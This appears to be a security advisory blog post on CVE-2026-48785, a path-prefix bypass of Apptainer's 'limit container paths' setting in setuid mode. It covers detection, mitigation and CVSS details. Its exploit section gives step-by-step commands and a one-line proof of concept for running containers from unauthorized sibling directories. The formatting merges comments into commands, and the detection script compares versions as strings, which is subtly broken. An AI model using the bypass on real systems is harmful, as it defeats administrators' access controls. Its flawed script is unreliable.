Listen to this Post
How CVE-2026-48785 Works
The `limit container paths` directive in `apptainer.conf` is a security control designed for setuid-mode Apptainer installations. It allows system administrators to restrict which host directories users can run containers from. When this directive is configured with a specific path, Apptainer is supposed to only permit container execution from that exact directory and its subdirectories.
The vulnerability stems from an incorrect string matching implementation. Rather than performing an exact path match with proper delimiter awareness, the code checks if a target path begins with the configured prefix string. This naive prefix matching logic fails to account for path delimiters, creating a bypass opportunity.
Consider the following configuration example:
limit container paths = /data/safe
A system administrator intends to allow containers only from /data/safe. However, due to the prefix matching flaw, Apptainer also permits containers from `/data/safe-but-unsafe` because this path string starts with /data/safe. The same issue would occur with paths like `/data/safe2` or `/data/safe_evil` — any sibling directory whose name shares the configured path as a prefix would be incorrectly allowed.
This vulnerability only affects setuid-mode installations where the `limit container paths` directive is actively used. In setuid mode, Apptainer runs with elevated privileges to perform container mount operations, making this access control bypass a security concern. The flaw does not impact installations that do not use setuid mode, nor does it affect users who have not configured the `limit container paths` restriction.
The issue was discovered and reported to the Apptainer project by Dave Trudgian of Sylabs. The fix, implemented in Apptainer version 1.5.1, corrects the path matching logic to use proper delimiter-aware comparison rather than simple string prefix matching.
DailyCVE Form
Platform: Apptainer
Version: < 1.5.1
Vulnerability: Path Bypass
Severity: Medium (CVSS 4.8)
date: 2026-06-04
Prediction: 2026-06-10
What Undercode Say
Analytics:
Check current Apptainer version apptainer --version Check if limit container paths is configured grep "limit container paths" /etc/apptainer/apptainer.conf Test for vulnerable prefix matching Assuming /data/safe is in limit container paths mkdir -p /data/safe-but-unsafe apptainer exec /data/safe-but-unsafe/my-container.sif /bin/true If exit code 0, system is vulnerable (container ran despite being outside allowed path)
Vulnerability Detection Script:
!/bin/bash
CVE-2026-48785 detection script
CONFIG_FILE="/etc/apptainer/apptainer.conf"
if [ -f "$CONFIG_FILE" ] && grep -q "^limit container paths" "$CONFIG_FILE"; then
echo "[+] limit container paths is configured"
APPTAINER_VERSION=$(apptainer --version | head -1 | awk '{print $3}')
if [[ "$APPTAINER_VERSION" < "1.5.1" ]]; then
echo "[!] VULNERABLE: Apptainer version $APPTAINER_VERSION < 1.5.1"
else
echo "[+] Patched: Apptainer version $APPTAINER_VERSION >= 1.5.1"
fi
else
echo "[+] limit container paths not configured - not affected"
fi
Exploit
To exploit CVE-2026-48785, an attacker must have:
- Access to a system running Apptainer in setuid mode
- The `limit container paths` directive configured with a path P
- A container image located in a sibling directory whose name has P as a string prefix
Exploitation Steps:
Step 1: Identify the restricted path from apptainer.conf grep "limit container paths" /etc/apptainer/apptainer.conf Example output: limit container paths = /scratch Step 2: Create a sibling directory with the restricted path as prefix mkdir -p /scratch2 Step 3: Place a container image in the sibling directory cp malicious-container.sif /scratch2/ Step 4: Attempt to run the container from the sibling directory apptainer exec /scratch2/malicious-container.sif /bin/sh If successful, the container executes despite being outside /scratch The attacker can now run arbitrary containers from unauthorized paths
PoC (Proof of Concept) One-Liner:
Assuming /data/safe is the restricted path mkdir -p /data/safe-evil && apptainer exec /data/safe-evil/container.sif id
Protection
Immediate Mitigations:
1. Upgrade to Apptainer 1.5.1 or later
Debian/Ubuntu apt-get update && apt-get install apptainer=1.5.1 RHEL/Fedora dnf upgrade --advisory FEDORA-2026-ff5370cd61 openSUSE zypper patch --cve=CVE-2026-48785
2. If upgrade is not immediately possible, disable setuid mode if not required:
Remove setuid bit from apptainer chmod u-s /usr/bin/apptainer
3. Avoid using `limit container paths` if user namespaces are allowed for unrestricted use — as documented, this functionality does not prevent users from running arbitrary containers when user namespaces are enabled.
4. Workaround for vulnerable installations: Ensure that no sibling directories exist with names that share a string prefix with any configured `limit container paths` value. For example, if `/data/safe` is configured, avoid creating /data/safe-, /data/safe2, or `/data/safe_` directories.
5. Monitor logs for unexpected container executions from paths outside the intended restriction.
Impact
Technical Impact:
- Access Control Bypass: Attackers can execute containers from directories that system administrators intended to block
- Privilege Escalation Vector: In setuid mode, Apptainer runs with elevated privileges. Bypassing path restrictions may allow attackers to run malicious containers from untrusted locations
- Integrity Violation: Containers from unauthorized paths may contain malicious software that could compromise the host system
Affected Configurations:
- Apptainer versions prior to 1.5.1
- Systems running in setuid mode (SUID installations)
- Systems where `limit container paths` is configured in `apptainer.conf`
CVSS Score Details:
| Metric | Value |
|–|-|
| Attack Vector | Local (AV:L) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | Required (UI:R) |
| Scope | Unchanged (S:U) |
| Confidentiality Impact | Low (C:L) |
| Integrity Impact | Low (I:L) |
| Availability Impact | Low (A:L) |
| Base Score | 4.8 (Medium) |
Business Impact:
- Organizations relying on Apptainer’s path restrictions for security isolation may have a false sense of security
- Compliance violations if containers from unauthorized paths contain sensitive data or violate data residency requirements
- Requires immediate patching in production environments where setuid mode and path restrictions are used
References:
- CVE: https://www.cve.org/CVERecord?id=CVE-2026-48785
- GitHub Security Advisory: GHSA-cr2j-534f-mf3g
- Commit: https://github.com/apptainer/apptainer/commit/0ff35257420e0c6cb97dac11d305749c893e5214
- Documentation: https://apptainer.org/docs/admin/latest/configfiles.htmllimiting-container-execution
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

